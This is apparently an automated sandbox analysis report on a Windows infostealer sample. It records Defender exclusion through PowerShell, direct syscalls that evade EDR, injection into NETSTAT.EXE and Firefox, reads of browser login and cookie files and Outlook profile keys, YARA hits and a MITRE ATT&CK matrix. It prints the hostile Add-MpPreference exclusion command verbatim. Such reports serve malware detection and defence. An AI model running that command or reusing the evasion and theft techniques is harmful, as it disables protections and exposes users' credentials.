Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161AAEE mov eax, dword ptr fs:[00000030h]	4_2_0161AAEE
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01636ACC mov eax, dword ptr fs:[00000030h]	4_2_01636ACC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01636ACC mov eax, dword ptr fs:[00000030h]	4_2_01636ACC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01636ACC mov eax, dword ptr fs:[00000030h]	4_2_01636ACC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01614AD0 mov eax, dword ptr fs:[00000030h]	4_2_01614AD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01614AD0 mov eax, dword ptr fs:[00000030h]	4_2_01614AD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01636AA4 mov eax, dword ptr fs:[00000030h]	4_2_01636AA4
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EEA80 mov eax, dword ptr fs:[00000030h]	4_2_015EEA80
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EEA80 mov eax, dword ptr fs:[00000030h]	4_2_015EEA80

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NU1aAbSmCr.exe"
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NU1aAbSmCr.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtSetInformationThread: Direct from: 0x775363F9	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: NULL target: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: NULL target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Thread register set: target process: 7984

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Thread APC queued: target process: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NU1aAbSmCr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Users\user\Desktop\NU1aAbSmCr.exe "C:\Users\user\Desktop\NU1aAbSmCr.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: mCFHCvdrqdDiDT.exe, 0000000A.00000002.2580134627.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000000.1747506506.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000000.1888263847.0000000000BF1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: mCFHCvdrqdDiDT.exe, 0000000A.00000002.2580134627.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000000.1747506506.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000000.1888263847.0000000000BF1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mCFHCvdrqdDiDT.exe, 0000000A.00000002.2580134627.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000000.1747506506.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000000.1888263847.0000000000BF1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: mCFHCvdrqdDiDT.exe, 0000000A.00000002.2580134627.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000000.1747506506.00000000016B1000.00000002.00000001.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000000.1888263847.0000000000BF1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Queries volume information: C:\Users\user\Desktop\NU1aAbSmCr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	312 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	1 System Network Connections Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	113 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
